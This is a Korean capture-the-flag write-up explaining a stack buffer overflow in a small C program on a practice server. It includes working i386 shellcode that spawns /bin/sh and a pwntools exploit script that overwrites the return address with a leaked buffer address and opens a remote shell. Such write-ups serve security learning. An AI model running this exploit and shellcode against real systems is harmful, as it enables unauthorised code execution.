C 코드를 먼저 보면,
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
버퍼의 크기는 0x80 (128)이고 버퍼를 받아오는 scanf 함수에서는 141자리를 받아온다.
즉, 128자리를 초과해서 받아올 수 있다.
처음 main 함수가 호출될 때,
main함수들의 인자들(argc, argv)이 스택에 쌓일 것이고( i386 아키텍처이므로 )
다음으로 반환 주소, SFP(Stack Frame Pointer), 지역변수 (buf)가 쌓일 것이다.
따라서 scanf에 128자리보다 많이 입력해서 반환 주소 영역을 오염시키면 될 것이다.
프로그램을 실행해보면, 친절하게 버퍼의 주소를 알려준다.

버퍼 입력을 셸코드+아무문자+버퍼의 주소 로 주게 되면, main 함수가 반환하면서
기존의 흐름을 이어나가는것이 아닌, 버퍼의 주소로 이동하게 되어
우리가 입력한 셸코드가 실행되는 원리이다.
셸코드 출처
https://security-nanglam.tistory.com/117
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
scanf로 입력을 받기 때문에, 여러가지 제약이 많았다.
(scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못함)
이제 파이썬 코드를 짜보자.
from pwn import *
p=remote("host3.dreamhack.games",12479)
context.arch="i386"
p.recvuntil("buf = (") # 앞부분은 버리고,
buf=int(p.recvn(10),16) # 주소 부분 10자리만 획득
shellcode=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
length=len(shellcode)
shellcode+=b'A'*(132-length) # scanf에서 총 141자리를 받으므로, 입력 가능한 총자리수는 140자리
shellcode+=p32(buf) # 140-8(buf가 8자리)-length(셸코드 길이) 만큼 아무 문자나 채워넣기
p.sendline(shellcode) # 완성한 셸코드 전송
p.interactive() # 셸 획득 후 상호작용(cat flag)

추가적인 지식
syscall 에서
- x86-64의 경우
- syscall의 인자가 각각 rdi, rsi, rdx, ...에 들어간다.
- syscall의 번호가 0x3b이다.
- x86의 경우
- syscall의 인자가 각각 ebx, ecx, edx, ...에 들어간다.
- syscall의 번호가 0x0b이다.